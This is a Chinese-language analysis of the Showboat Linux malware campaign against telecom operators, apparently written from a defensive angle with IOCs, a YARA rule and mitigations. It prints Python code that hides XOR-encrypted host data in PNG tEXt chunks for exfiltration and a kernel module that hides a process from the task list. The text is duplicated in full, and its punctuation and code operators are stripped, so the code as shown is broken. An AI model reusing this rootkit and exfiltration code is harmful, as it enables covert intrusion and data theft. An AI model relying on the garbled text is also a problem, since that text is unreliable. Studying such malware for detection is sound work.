摘要2026年5月20日Lumen Black Lotus Labs联合PwC Threat Intelligence首次公开披露了Showboat Linux恶意软件攻击事件。该恶意软件由CalypsoRed Lamassu/Bronze Medley组织运营自2022年6月起持续针对中东、亚太地区的电信运营商核心Linux服务器发起定向攻击。Showboat采用模块化架构设计集成了远程Shell、文件传输、SOCKS5代理、进程隐藏等多种高级功能并创新性地使用PNG tEXt块隐写术实现数据外泄在长达近4年的时间里几乎完全规避了传统安全产品的检测。本文将从技术原理、攻击链分析、组织溯源、威胁趋势及防御实战五个维度对Showboat恶意软件进行全面深度解析为企业特别是电信行业的安全防护提供 actionable 的解决方案。一、事件概述与背景1.1 事件时间线2022年1月攻击者在Pastebin上发布用于进程隐藏的代码片段为Showboat的部署做准备2022年6月Showboat恶意软件开始在中东电信运营商网络中活跃2025年5月5日首个Showboat ELF样本被上传至VirusTotal当时检测率为0/692025年12月-2026年2月Lumen全球遥测数据显示阿富汗ISP和阿塞拜疆某组织的服务器与Showboat C2节点通信2026年5月20日Lumen Black Lotus Labs与PwC联合发布技术报告正式公开Showboat恶意软件1.2 攻击组织背景Showboat恶意软件与Calypso组织也被追踪为Red Lamassu、Bronze Medley高度关联。该组织自2016年9月起活跃主要针对全球各国的政府机构、电信运营商和关键基础设施发起网络间谍活动历史攻击目标包括巴西、印度、哈萨克斯坦、俄罗斯、泰国和土耳其等国。Calypso组织的武器库包括PlugX远程访问木马WhiteBird后门BYEBY后门与ESET追踪的Mikroceen集群相关JFMBackdoorWindows平台配套后门与Showboat协同使用1.3 攻击目标与影响本次攻击的主要目标是中东和亚太地区的电信运营商特别是其核心Linux服务器、网管系统和计费平台。攻击者通过控制这些高价值节点可以窃取用户通话记录、短信内容、身份信息和计费数据监控网络流量截获敏感通信利用SOCKS5代理功能横向渗透内网控制更多核心系统将被攻陷的服务器作为跳板攻击其他行业的关键基础设施二、Showboat技术深度解析2.1 基本信息与模块化架构Showboat是一个专为Linux系统设计的模块化后渗透框架使用C/C语言开发编译为AMD x86-64架构的ELF可执行文件。它伪装成系统进程kworker运行以规避系统管理员的注意。Showboat的核心模块包括模块名称功能描述配置解析模块从C2服务器获取并解密XOR加密的配置文件信息收集模块收集主机名、操作系统信息、运行进程列表、桌面截图远程Shell模块提供交互式命令执行能力支持权限提升文件传输模块实现文件的上传和下载功能SOCKS5代理模块将被攻陷主机转换为内网横向移动的跳板端口映射模块实现端口转发功能访问内网非公开服务进程隐藏模块从Pastebin等外部站点获取代码实现进程隐身持久化模块通过系统服务或定时任务实现开机自启C2通信模块处理与命令控制服务器的加密通信2.2 核心技术亮点PNG tEXt块隐写术Showboat最具特色的技术是使用PNG tEXt块隐写术实现数据外泄。与传统的LSB最低有效位隐写不同Showboat将窃取的数据编码后嵌入到PNG文件的tEXt文本块中这种方法具有更高的隐蔽性和更低的检测难度。2.2.1 PNG文件结构与tEXt块PNG文件由多个数据块Chunk组成每个块包含4字节长度、4字节块类型、可变长度数据和4字节CRC校验值。tEXt块是PNG标准中定义的一种辅助块用于存储文本信息如作者、标题、描述等。大多数图像查看器和安全产品会忽略tEXt块的内容这为攻击者提供了理想的隐蔽通道。2.2.2 Showboat隐写实现原理Showboat的数据外泄流程如下收集主机信息并生成JSON格式的数据使用UUID的最后5位作为密钥对JSON数据进行XOR加密将加密后的数据进行Base64编码将编码后的数据嵌入到PNG文件的tEXt块中将包含隐藏数据的PNG文件发送到C2服务器以下是Showboat风格的PNG tEXt块隐写术Python实现代码importstructimportzlibimportbase64defxor_encrypt(data:bytes,key:str)-bytes:XOR加密函数使用UUID最后5位作为密钥key_byteskey.encode(utf-8)returnbytes([b^key_bytes[i%len(key_bytes)]fori,binenumerate(data)])defcreate_png_with_hidden_data(original_png_path:str,output_png_path:str,hidden_data:str,uuid:str)-None:在PNG文件的tEXt块中嵌入隐藏数据# 读取原始PNG文件withopen(original_png_path,rb)asf:png_dataf.read()# 找到IEND块的位置iend_pospng_data.find(bIEND)ifiend_pos-1:raiseValueError(无效的PNG文件)# 准备隐藏数据keyuuid[-5:]# 使用UUID最后5位作为密钥encrypted_dataxor_encrypt(hidden_data.encode(utf-8),key)base64_database64.b64encode(encrypted_data)# 创建tEXt块text_chunk_typebtEXttext_keywordbdescription\x00# 使用常见的关键字descriptiontext_datatext_keywordbase64_data text_crczlib.crc32(text_chunk_typetext_data)0xffffffff# 构造tEXt块text_chunkstruct.pack(I,len(text_data))text_chunk_typetext_datastruct.pack(I,text_crc)# 将tEXt块插入到IEND块之前new_png_datapng_data[:iend_pos-4]text_chunkpng_data[iend_pos-4:]# 写入输出文件withopen(output_png_path,wb)asf:f.write(new_png_data)# 使用示例if__name____main__:original_pngnormal_image.pngoutput_pngimage_with_hidden_data.pnghidden_data{hostname: server01, os: CentOS 7.9, user: root}uuid123e4567-e89b-12d3-a456-426614174000create_png_with_hidden_data(original_png,output_png,hidden_data,uuid)print(PNG文件生成成功隐藏数据已嵌入)2.2.3 隐写数据提取代码对应的隐写数据提取代码如下importstructimportzlibimportbase64defxor_decrypt(data:bytes,key:str)-bytes:XOR解密函数key_byteskey.encode(utf-8)returnbytes([b^key_bytes[i%len(key_bytes)]fori,binenumerate(data)])defextract_hidden_data_from_png(png_path:str,uuid:str)-str:从PNG文件的tEXt块中提取隐藏数据withopen(png_path,rb)asf:png_dataf.read()pos8# 跳过PNG文件头keyuuid[-5:]whileposlen(png_data):# 读取块长度chunk_lengthstruct.unpack(I,png_data[pos:pos4])[0]pos4# 读取块类型chunk_typepng_data[pos:pos4]pos4# 读取块数据chunk_datapng_data[pos:poschunk_length]poschunk_length# 跳过CRC校验pos4# 检查是否是tEXt块ifchunk_typebtEXt:# 分离关键字和文本内容null_poschunk_data.find(b\x00)ifnull_pos!-1:keywordchunk_data[:null_pos]text_contentchunk_data[null_pos1:]# 尝试解码Base64并解密try:encrypted_database64.b64decode(text_content)decrypted_dataxor_decrypt(encrypted_data,key)returndecrypted_data.decode(utf-8)except:continuereturnNone# 使用示例if__name____main__:png_pathimage_with_hidden_data.pnguuid123e4567-e89b-12d3-a456-426614174000hidden_dataextract_hidden_data_from_png(png_path,uuid)ifhidden_data:print(提取到的隐藏数据)print(hidden_data)else:print(未找到隐藏数据)2.3 进程隐藏技术死信投递机制Showboat的另一个高级功能是进程隐藏。它不直接在二进制文件中包含进程隐藏代码而是通过从Pastebin等外部公共站点获取代码片段并执行的方式实现这种技术被称为死信投递Dead Drop。这种方法的优势在于恶意软件本身不包含可疑的进程隐藏代码降低了静态检测的概率攻击者可以随时更新隐藏代码而无需重新分发恶意软件访问Pastebin的流量在大多数网络中是被允许的不易引起怀疑Showboat使用的Pastebin代码片段最早发布于2022年1月其核心原理是通过修改Linux内核的task_struct链表来隐藏进程。以下是简化版的Linux进程隐藏内核模块代码#includelinux/module.h#includelinux/kernel.h#includelinux/sched.h#includelinux/list.hMODULE_LICENSE(GPL);MODULE_DESCRIPTION(Simple process hiding LKM);MODULE_AUTHOR(Showboat APT);staticchar*process_namekworker;module_param(process_name,charp,0644);MODULE_PARM_DESC(process_name,Name of the process to hide);staticstructlist_head*prev_module;staticint__inithide_process_init(void){structtask_struct*task;// 遍历所有进程for_each_process(task){if(strcmp(task-comm,process_name)0){// 将进程从进程链表中移除prev_moduletask-tasks.prev;list_del(task-tasks);printk(KERN_INFOProcess %s (PID: %d) hidden successfully\n,process_name,task-pid);break;}}return0;}staticvoid__exithide_process_exit(void){// 恢复进程链表实际攻击中通常不会实现此功能structtask_struct*task;for_each_process(task){if(strcmp(task-comm,process_name)0){list_add(task-tasks,prev_module);printk(KERN_INFOProcess %s (PID: %d) restored\n,process_name,task-pid);break;}}}module_init(hide_process_init);module_exit(hide_process_exit);2.4 C2通信与基础设施Showboat的C2通信采用HTTP/HTTPS协议默认使用80端口也支持53端口DNS和443端口HTTPS以绕过防火墙限制。2.4.1 配置文件解密Showboat启动后首先会从硬编码的C2地址下载配置文件。配置文件使用XOR算法加密密钥是一个非常具有挑衅性的字符串“look me, AV!”。以下是配置文件解密代码defdecrypt_config(encrypted_config:bytes)-str:解密Showboat配置文件keyblook me, AV!returnbytes([b^key[i%len(key)]fori,binenumerate(encrypted_config)]).decode(utf-8)# 示例加密配置encrypted_configb\x1b\x0f\x1c\x0b\x0e\x1f\x0a\x00\x0b\x1d\x06\x1e\x07\x0c\x0d\x0b\x0e\x1f\x0a\x00\x0b\x1d\x06\x1e\x07\x0c\x0ddecrypted_configdecrypt_config(encrypted_config)print(解密后的配置)print(decrypted_config)2.4.2 典型配置文件内容Showboat的配置文件包含以下字段SERVER_ADDRESS telecom.webredirect.org RESOLVE_IP NULL SERVER_PORT 80 PROXY_ADDRESS PROXY_PORT 0 MIN_SLEEP 5 MAX_SLEEP 10 SLOW_MODE_MIN_SLEEP 20 SLOW_MODE_MAX_SLEEP 252.4.3 C2基础设施分析Lumen的研究人员发现了两个主要的Showboat活动集群主集群核心C2节点位于IP地址139.84.227.139使用自签名X.509证书指纹为27df475626aafce2ea1548a9f35efb9ad951298c8b11a6adb3ccdfcd5170c677上游基础设施IP地址116.169.244.208属于中国联合网络通信有限公司地理位置大致在四川成都可能是攻击者的开发测试环境或上游指挥节点攻击者还注册了多个仿冒电信业务的域名包括singtelcom.site仿冒新加坡电信kaztelecom.shop仿冒哈萨克斯坦电信三、完整攻击链分析Showboat的攻击链可以分为8个阶段如下图所示初始入侵样本投递配置获取与解密信息收集数据外泄PNG隐写权限提升与持久化SOCKS5代理启动内网横向移动长期监控与数据窃取3.1 初始入侵目前研究人员尚未确定Showboat的确切初始入侵途径但根据Calypso组织的历史TTP和攻击目标的特点可能的入侵方式包括利用未公开的Linux高危漏洞CVE-2026-0400暴力破解SSH弱口令利用供应链攻击钓鱼邮件3.2 样本投递与执行攻击者成功入侵后会将Showboat恶意软件伪装成kworker上传到目标服务器并赋予执行权限。恶意软件启动后首先会删除自身文件以消除痕迹。3.3 配置获取与解密Showboat连接到硬编码的C2服务器下载XOR加密的配置文件并使用密钥look me, AV!进行解密。3.4 信息收集恶意软件收集目标主机的详细信息包括主机名和域名操作系统版本和内核信息所有运行进程的列表网络配置和开放端口用户账户信息桌面截图3.5 数据外泄收集到的信息被加密并Base64编码后嵌入到PNG文件的tEXt块中然后发送到C2服务器。3.6 权限提升与持久化Showboat尝试获取root权限并通过以下方式实现持久化创建系统服务文件/etc/systemd/system/kworker.service添加定时任务crontab修改启动脚本3.7 SOCKS5代理启动这是Showboat最关键的功能之一。它在被攻陷的服务器上启动SOCKS5代理服务使攻击者能够通过该服务器访问内网中的其他系统。3.8 内网横向移动与长期监控攻击者利用SOCKS5代理扫描内网发现并渗透更多高价值目标如数据库服务器、网管系统和计费平台。在整个攻击过程中Showboat会定期向C2服务器发送心跳包保持连接并接收新的指令。四、威胁趋势与前瞻性分析4.1 Linux恶意软件成为APT攻击的主流Showboat事件再次证明Linux系统已经成为国家级APT攻击的主要目标。随着云计算和容器技术的普及Linux在企业服务器和关键基础设施中的占比越来越高。传统上Linux被认为比Windows更安全但这导致许多企业对Linux系统的安全防护投入不足为攻击者提供了可乘之机。4.2 模块化后渗透框架的广泛应用Showboat是一个典型的模块化后渗透框架这种架构具有以下优势易于开发和维护不同功能模块可以独立开发和更新灵活性高攻击者可以根据不同的目标和场景选择需要的模块隐蔽性强核心功能可以按需加载减少恶意软件的静态特征未来我们将看到更多类似的模块化后渗透框架被APT组织使用。4.3 隐写术在数据外泄中的普及Showboat使用的PNG tEXt块隐写术代表了数据外泄技术的一个重要发展方向。与传统的加密通信相比隐写术不仅加密了数据内容还隐藏了数据传输的事实使安全人员更难发现攻击活动。除了PNG隐写术未来我们可能会看到更多类型的隐写术被用于恶意软件通信如JPEG DCT系数隐写音频隐写视频隐写文本隐写4.4 死信投递机制的流行Showboat使用的死信投递机制从公共站点获取代码片段并执行是一种非常有效的规避检测的方法。这种方法使恶意软件本身不包含可疑的功能代码大大降低了静态检测的概率。未来我们预计会看到更多APT组织采用类似的技术利用各种合法的公共服务作为死信投递点如GitHub GistPastebin社交媒体平台云存储服务五、防御实战与检测方案5.1 漏洞管理与基础防护立即修复所有已知的Linux高危漏洞特别是CVE-2026-0400禁用不必要的服务和端口实施强密码策略和多因素认证限制SSH访问只允许从可信IP地址连接5.2 终端检测与响应EDR部署支持Linux系统的EDR/XDR产品监控异常进程行为特别是名为kworker的进程检测进程隐藏行为如内核模块加载和系统调用挂钩监控文件系统变化特别是系统服务和定时任务目录5.3 网络流量分析监控异常的出站HTTP/HTTPS流量检测PNG文件中的异常tEXt块监控对Pastebin等公共代码托管站点的访问检测SOCKS5代理流量实施网络分段限制横向移动5.4 威胁狩猎规则以下是一些可以用于检测Showboat恶意软件的YARA规则rule Showboat_Linux_Malware { meta: description Detects Showboat Linux malware author Lumen Black Lotus Labs date 2026-05-20 reference https://www.lumen.com/blog/en-us/introducing-showboat-a-new-malware-family-taunts-defenses-and-targets-international-telecom-firms hash sha256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx strings: $xor_key look me, AV! $socks5 SKS $portmap MAP $kworker kworker $pastebin pastebin.com condition: (uint32(0) 0x464c457f) and // ELF magic filesize 1MB and 2 of them }5.5 IOC入侵指标以下是Showboat恶意软件的部分IOCC2域名telecom.webredirect.orgsingtelcom.sitekaztelecom.shopC2 IP地址139.84.227.139194.135.25.13223.27.201.160101.36.105.222116.169.244.208证书指纹SHA256: 27df475626aafce2ea1548a9f35efb9ad951298c8b11a6adb3ccdfcd5170c677SHA256: A72427af3c046fd90999a6505b2372dc4ffde122227f30ed21621ecd4f2d3e8bSHA256: E28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0六、总结Showboat Linux恶意软件事件暴露了中国APT组织对全球电信基础设施的长期渗透能力。其模块化设计、PNG隐写术、死信投递进程隐藏和SOCKS5代理等技术的综合运用使其能够在长达近4年的时间里几乎完全规避传统安全产品的检测。对于电信运营商和其他关键基础设施企业来说Showboat事件是一个重要的警示。传统的基于特征的安全防护已经无法有效应对高级持续性威胁。企业需要建立纵深防御体系结合漏洞管理、终端检测与响应、网络流量分析和威胁狩猎等多种手段才能及时发现和响应APT攻击。同时安全研究人员和厂商也需要加强对Linux恶意软件和隐写术技术的研究开发更有效的检测和防御方法共同应对日益复杂的网络安全威胁。
Showboat Linux恶意软件深度解析:针对中东电信的APT攻击技术与防御实战
摘要2026年5月20日Lumen Black Lotus Labs联合PwC Threat Intelligence首次公开披露了Showboat Linux恶意软件攻击事件。该恶意软件由CalypsoRed Lamassu/Bronze Medley组织运营自2022年6月起持续针对中东、亚太地区的电信运营商核心Linux服务器发起定向攻击。Showboat采用模块化架构设计集成了远程Shell、文件传输、SOCKS5代理、进程隐藏等多种高级功能并创新性地使用PNG tEXt块隐写术实现数据外泄在长达近4年的时间里几乎完全规避了传统安全产品的检测。本文将从技术原理、攻击链分析、组织溯源、威胁趋势及防御实战五个维度对Showboat恶意软件进行全面深度解析为企业特别是电信行业的安全防护提供 actionable 的解决方案。一、事件概述与背景1.1 事件时间线2022年1月攻击者在Pastebin上发布用于进程隐藏的代码片段为Showboat的部署做准备2022年6月Showboat恶意软件开始在中东电信运营商网络中活跃2025年5月5日首个Showboat ELF样本被上传至VirusTotal当时检测率为0/692025年12月-2026年2月Lumen全球遥测数据显示阿富汗ISP和阿塞拜疆某组织的服务器与Showboat C2节点通信2026年5月20日Lumen Black Lotus Labs与PwC联合发布技术报告正式公开Showboat恶意软件1.2 攻击组织背景Showboat恶意软件与Calypso组织也被追踪为Red Lamassu、Bronze Medley高度关联。该组织自2016年9月起活跃主要针对全球各国的政府机构、电信运营商和关键基础设施发起网络间谍活动历史攻击目标包括巴西、印度、哈萨克斯坦、俄罗斯、泰国和土耳其等国。Calypso组织的武器库包括PlugX远程访问木马WhiteBird后门BYEBY后门与ESET追踪的Mikroceen集群相关JFMBackdoorWindows平台配套后门与Showboat协同使用1.3 攻击目标与影响本次攻击的主要目标是中东和亚太地区的电信运营商特别是其核心Linux服务器、网管系统和计费平台。攻击者通过控制这些高价值节点可以窃取用户通话记录、短信内容、身份信息和计费数据监控网络流量截获敏感通信利用SOCKS5代理功能横向渗透内网控制更多核心系统将被攻陷的服务器作为跳板攻击其他行业的关键基础设施二、Showboat技术深度解析2.1 基本信息与模块化架构Showboat是一个专为Linux系统设计的模块化后渗透框架使用C/C语言开发编译为AMD x86-64架构的ELF可执行文件。它伪装成系统进程kworker运行以规避系统管理员的注意。Showboat的核心模块包括模块名称功能描述配置解析模块从C2服务器获取并解密XOR加密的配置文件信息收集模块收集主机名、操作系统信息、运行进程列表、桌面截图远程Shell模块提供交互式命令执行能力支持权限提升文件传输模块实现文件的上传和下载功能SOCKS5代理模块将被攻陷主机转换为内网横向移动的跳板端口映射模块实现端口转发功能访问内网非公开服务进程隐藏模块从Pastebin等外部站点获取代码实现进程隐身持久化模块通过系统服务或定时任务实现开机自启C2通信模块处理与命令控制服务器的加密通信2.2 核心技术亮点PNG tEXt块隐写术Showboat最具特色的技术是使用PNG tEXt块隐写术实现数据外泄。与传统的LSB最低有效位隐写不同Showboat将窃取的数据编码后嵌入到PNG文件的tEXt文本块中这种方法具有更高的隐蔽性和更低的检测难度。2.2.1 PNG文件结构与tEXt块PNG文件由多个数据块Chunk组成每个块包含4字节长度、4字节块类型、可变长度数据和4字节CRC校验值。tEXt块是PNG标准中定义的一种辅助块用于存储文本信息如作者、标题、描述等。大多数图像查看器和安全产品会忽略tEXt块的内容这为攻击者提供了理想的隐蔽通道。2.2.2 Showboat隐写实现原理Showboat的数据外泄流程如下收集主机信息并生成JSON格式的数据使用UUID的最后5位作为密钥对JSON数据进行XOR加密将加密后的数据进行Base64编码将编码后的数据嵌入到PNG文件的tEXt块中将包含隐藏数据的PNG文件发送到C2服务器以下是Showboat风格的PNG tEXt块隐写术Python实现代码importstructimportzlibimportbase64defxor_encrypt(data:bytes,key:str)-bytes:XOR加密函数使用UUID最后5位作为密钥key_byteskey.encode(utf-8)returnbytes([b^key_bytes[i%len(key_bytes)]fori,binenumerate(data)])defcreate_png_with_hidden_data(original_png_path:str,output_png_path:str,hidden_data:str,uuid:str)-None:在PNG文件的tEXt块中嵌入隐藏数据# 读取原始PNG文件withopen(original_png_path,rb)asf:png_dataf.read()# 找到IEND块的位置iend_pospng_data.find(bIEND)ifiend_pos-1:raiseValueError(无效的PNG文件)# 准备隐藏数据keyuuid[-5:]# 使用UUID最后5位作为密钥encrypted_dataxor_encrypt(hidden_data.encode(utf-8),key)base64_database64.b64encode(encrypted_data)# 创建tEXt块text_chunk_typebtEXttext_keywordbdescription\x00# 使用常见的关键字descriptiontext_datatext_keywordbase64_data text_crczlib.crc32(text_chunk_typetext_data)0xffffffff# 构造tEXt块text_chunkstruct.pack(I,len(text_data))text_chunk_typetext_datastruct.pack(I,text_crc)# 将tEXt块插入到IEND块之前new_png_datapng_data[:iend_pos-4]text_chunkpng_data[iend_pos-4:]# 写入输出文件withopen(output_png_path,wb)asf:f.write(new_png_data)# 使用示例if__name____main__:original_pngnormal_image.pngoutput_pngimage_with_hidden_data.pnghidden_data{hostname: server01, os: CentOS 7.9, user: root}uuid123e4567-e89b-12d3-a456-426614174000create_png_with_hidden_data(original_png,output_png,hidden_data,uuid)print(PNG文件生成成功隐藏数据已嵌入)2.2.3 隐写数据提取代码对应的隐写数据提取代码如下importstructimportzlibimportbase64defxor_decrypt(data:bytes,key:str)-bytes:XOR解密函数key_byteskey.encode(utf-8)returnbytes([b^key_bytes[i%len(key_bytes)]fori,binenumerate(data)])defextract_hidden_data_from_png(png_path:str,uuid:str)-str:从PNG文件的tEXt块中提取隐藏数据withopen(png_path,rb)asf:png_dataf.read()pos8# 跳过PNG文件头keyuuid[-5:]whileposlen(png_data):# 读取块长度chunk_lengthstruct.unpack(I,png_data[pos:pos4])[0]pos4# 读取块类型chunk_typepng_data[pos:pos4]pos4# 读取块数据chunk_datapng_data[pos:poschunk_length]poschunk_length# 跳过CRC校验pos4# 检查是否是tEXt块ifchunk_typebtEXt:# 分离关键字和文本内容null_poschunk_data.find(b\x00)ifnull_pos!-1:keywordchunk_data[:null_pos]text_contentchunk_data[null_pos1:]# 尝试解码Base64并解密try:encrypted_database64.b64decode(text_content)decrypted_dataxor_decrypt(encrypted_data,key)returndecrypted_data.decode(utf-8)except:continuereturnNone# 使用示例if__name____main__:png_pathimage_with_hidden_data.pnguuid123e4567-e89b-12d3-a456-426614174000hidden_dataextract_hidden_data_from_png(png_path,uuid)ifhidden_data:print(提取到的隐藏数据)print(hidden_data)else:print(未找到隐藏数据)2.3 进程隐藏技术死信投递机制Showboat的另一个高级功能是进程隐藏。它不直接在二进制文件中包含进程隐藏代码而是通过从Pastebin等外部公共站点获取代码片段并执行的方式实现这种技术被称为死信投递Dead Drop。这种方法的优势在于恶意软件本身不包含可疑的进程隐藏代码降低了静态检测的概率攻击者可以随时更新隐藏代码而无需重新分发恶意软件访问Pastebin的流量在大多数网络中是被允许的不易引起怀疑Showboat使用的Pastebin代码片段最早发布于2022年1月其核心原理是通过修改Linux内核的task_struct链表来隐藏进程。以下是简化版的Linux进程隐藏内核模块代码#includelinux/module.h#includelinux/kernel.h#includelinux/sched.h#includelinux/list.hMODULE_LICENSE(GPL);MODULE_DESCRIPTION(Simple process hiding LKM);MODULE_AUTHOR(Showboat APT);staticchar*process_namekworker;module_param(process_name,charp,0644);MODULE_PARM_DESC(process_name,Name of the process to hide);staticstructlist_head*prev_module;staticint__inithide_process_init(void){structtask_struct*task;// 遍历所有进程for_each_process(task){if(strcmp(task-comm,process_name)0){// 将进程从进程链表中移除prev_moduletask-tasks.prev;list_del(task-tasks);printk(KERN_INFOProcess %s (PID: %d) hidden successfully\n,process_name,task-pid);break;}}return0;}staticvoid__exithide_process_exit(void){// 恢复进程链表实际攻击中通常不会实现此功能structtask_struct*task;for_each_process(task){if(strcmp(task-comm,process_name)0){list_add(task-tasks,prev_module);printk(KERN_INFOProcess %s (PID: %d) restored\n,process_name,task-pid);break;}}}module_init(hide_process_init);module_exit(hide_process_exit);2.4 C2通信与基础设施Showboat的C2通信采用HTTP/HTTPS协议默认使用80端口也支持53端口DNS和443端口HTTPS以绕过防火墙限制。2.4.1 配置文件解密Showboat启动后首先会从硬编码的C2地址下载配置文件。配置文件使用XOR算法加密密钥是一个非常具有挑衅性的字符串“look me, AV!”。以下是配置文件解密代码defdecrypt_config(encrypted_config:bytes)-str:解密Showboat配置文件keyblook me, AV!returnbytes([b^key[i%len(key)]fori,binenumerate(encrypted_config)]).decode(utf-8)# 示例加密配置encrypted_configb\x1b\x0f\x1c\x0b\x0e\x1f\x0a\x00\x0b\x1d\x06\x1e\x07\x0c\x0d\x0b\x0e\x1f\x0a\x00\x0b\x1d\x06\x1e\x07\x0c\x0ddecrypted_configdecrypt_config(encrypted_config)print(解密后的配置)print(decrypted_config)2.4.2 典型配置文件内容Showboat的配置文件包含以下字段SERVER_ADDRESS telecom.webredirect.org RESOLVE_IP NULL SERVER_PORT 80 PROXY_ADDRESS PROXY_PORT 0 MIN_SLEEP 5 MAX_SLEEP 10 SLOW_MODE_MIN_SLEEP 20 SLOW_MODE_MAX_SLEEP 252.4.3 C2基础设施分析Lumen的研究人员发现了两个主要的Showboat活动集群主集群核心C2节点位于IP地址139.84.227.139使用自签名X.509证书指纹为27df475626aafce2ea1548a9f35efb9ad951298c8b11a6adb3ccdfcd5170c677上游基础设施IP地址116.169.244.208属于中国联合网络通信有限公司地理位置大致在四川成都可能是攻击者的开发测试环境或上游指挥节点攻击者还注册了多个仿冒电信业务的域名包括singtelcom.site仿冒新加坡电信kaztelecom.shop仿冒哈萨克斯坦电信三、完整攻击链分析Showboat的攻击链可以分为8个阶段如下图所示初始入侵样本投递配置获取与解密信息收集数据外泄PNG隐写权限提升与持久化SOCKS5代理启动内网横向移动长期监控与数据窃取3.1 初始入侵目前研究人员尚未确定Showboat的确切初始入侵途径但根据Calypso组织的历史TTP和攻击目标的特点可能的入侵方式包括利用未公开的Linux高危漏洞CVE-2026-0400暴力破解SSH弱口令利用供应链攻击钓鱼邮件3.2 样本投递与执行攻击者成功入侵后会将Showboat恶意软件伪装成kworker上传到目标服务器并赋予执行权限。恶意软件启动后首先会删除自身文件以消除痕迹。3.3 配置获取与解密Showboat连接到硬编码的C2服务器下载XOR加密的配置文件并使用密钥look me, AV!进行解密。3.4 信息收集恶意软件收集目标主机的详细信息包括主机名和域名操作系统版本和内核信息所有运行进程的列表网络配置和开放端口用户账户信息桌面截图3.5 数据外泄收集到的信息被加密并Base64编码后嵌入到PNG文件的tEXt块中然后发送到C2服务器。3.6 权限提升与持久化Showboat尝试获取root权限并通过以下方式实现持久化创建系统服务文件/etc/systemd/system/kworker.service添加定时任务crontab修改启动脚本3.7 SOCKS5代理启动这是Showboat最关键的功能之一。它在被攻陷的服务器上启动SOCKS5代理服务使攻击者能够通过该服务器访问内网中的其他系统。3.8 内网横向移动与长期监控攻击者利用SOCKS5代理扫描内网发现并渗透更多高价值目标如数据库服务器、网管系统和计费平台。在整个攻击过程中Showboat会定期向C2服务器发送心跳包保持连接并接收新的指令。四、威胁趋势与前瞻性分析4.1 Linux恶意软件成为APT攻击的主流Showboat事件再次证明Linux系统已经成为国家级APT攻击的主要目标。随着云计算和容器技术的普及Linux在企业服务器和关键基础设施中的占比越来越高。传统上Linux被认为比Windows更安全但这导致许多企业对Linux系统的安全防护投入不足为攻击者提供了可乘之机。4.2 模块化后渗透框架的广泛应用Showboat是一个典型的模块化后渗透框架这种架构具有以下优势易于开发和维护不同功能模块可以独立开发和更新灵活性高攻击者可以根据不同的目标和场景选择需要的模块隐蔽性强核心功能可以按需加载减少恶意软件的静态特征未来我们将看到更多类似的模块化后渗透框架被APT组织使用。4.3 隐写术在数据外泄中的普及Showboat使用的PNG tEXt块隐写术代表了数据外泄技术的一个重要发展方向。与传统的加密通信相比隐写术不仅加密了数据内容还隐藏了数据传输的事实使安全人员更难发现攻击活动。除了PNG隐写术未来我们可能会看到更多类型的隐写术被用于恶意软件通信如JPEG DCT系数隐写音频隐写视频隐写文本隐写4.4 死信投递机制的流行Showboat使用的死信投递机制从公共站点获取代码片段并执行是一种非常有效的规避检测的方法。这种方法使恶意软件本身不包含可疑的功能代码大大降低了静态检测的概率。未来我们预计会看到更多APT组织采用类似的技术利用各种合法的公共服务作为死信投递点如GitHub GistPastebin社交媒体平台云存储服务五、防御实战与检测方案5.1 漏洞管理与基础防护立即修复所有已知的Linux高危漏洞特别是CVE-2026-0400禁用不必要的服务和端口实施强密码策略和多因素认证限制SSH访问只允许从可信IP地址连接5.2 终端检测与响应EDR部署支持Linux系统的EDR/XDR产品监控异常进程行为特别是名为kworker的进程检测进程隐藏行为如内核模块加载和系统调用挂钩监控文件系统变化特别是系统服务和定时任务目录5.3 网络流量分析监控异常的出站HTTP/HTTPS流量检测PNG文件中的异常tEXt块监控对Pastebin等公共代码托管站点的访问检测SOCKS5代理流量实施网络分段限制横向移动5.4 威胁狩猎规则以下是一些可以用于检测Showboat恶意软件的YARA规则rule Showboat_Linux_Malware { meta: description Detects Showboat Linux malware author Lumen Black Lotus Labs date 2026-05-20 reference https://www.lumen.com/blog/en-us/introducing-showboat-a-new-malware-family-taunts-defenses-and-targets-international-telecom-firms hash sha256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx strings: $xor_key look me, AV! $socks5 SKS $portmap MAP $kworker kworker $pastebin pastebin.com condition: (uint32(0) 0x464c457f) and // ELF magic filesize 1MB and 2 of them }5.5 IOC入侵指标以下是Showboat恶意软件的部分IOCC2域名telecom.webredirect.orgsingtelcom.sitekaztelecom.shopC2 IP地址139.84.227.139194.135.25.13223.27.201.160101.36.105.222116.169.244.208证书指纹SHA256: 27df475626aafce2ea1548a9f35efb9ad951298c8b11a6adb3ccdfcd5170c677SHA256: A72427af3c046fd90999a6505b2372dc4ffde122227f30ed21621ecd4f2d3e8bSHA256: E28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0六、总结Showboat Linux恶意软件事件暴露了中国APT组织对全球电信基础设施的长期渗透能力。其模块化设计、PNG隐写术、死信投递进程隐藏和SOCKS5代理等技术的综合运用使其能够在长达近4年的时间里几乎完全规避传统安全产品的检测。对于电信运营商和其他关键基础设施企业来说Showboat事件是一个重要的警示。传统的基于特征的安全防护已经无法有效应对高级持续性威胁。企业需要建立纵深防御体系结合漏洞管理、终端检测与响应、网络流量分析和威胁狩猎等多种手段才能及时发现和响应APT攻击。同时安全研究人员和厂商也需要加强对Linux恶意软件和隐写术技术的研究开发更有效的检测和防御方法共同应对日益复杂的网络安全威胁。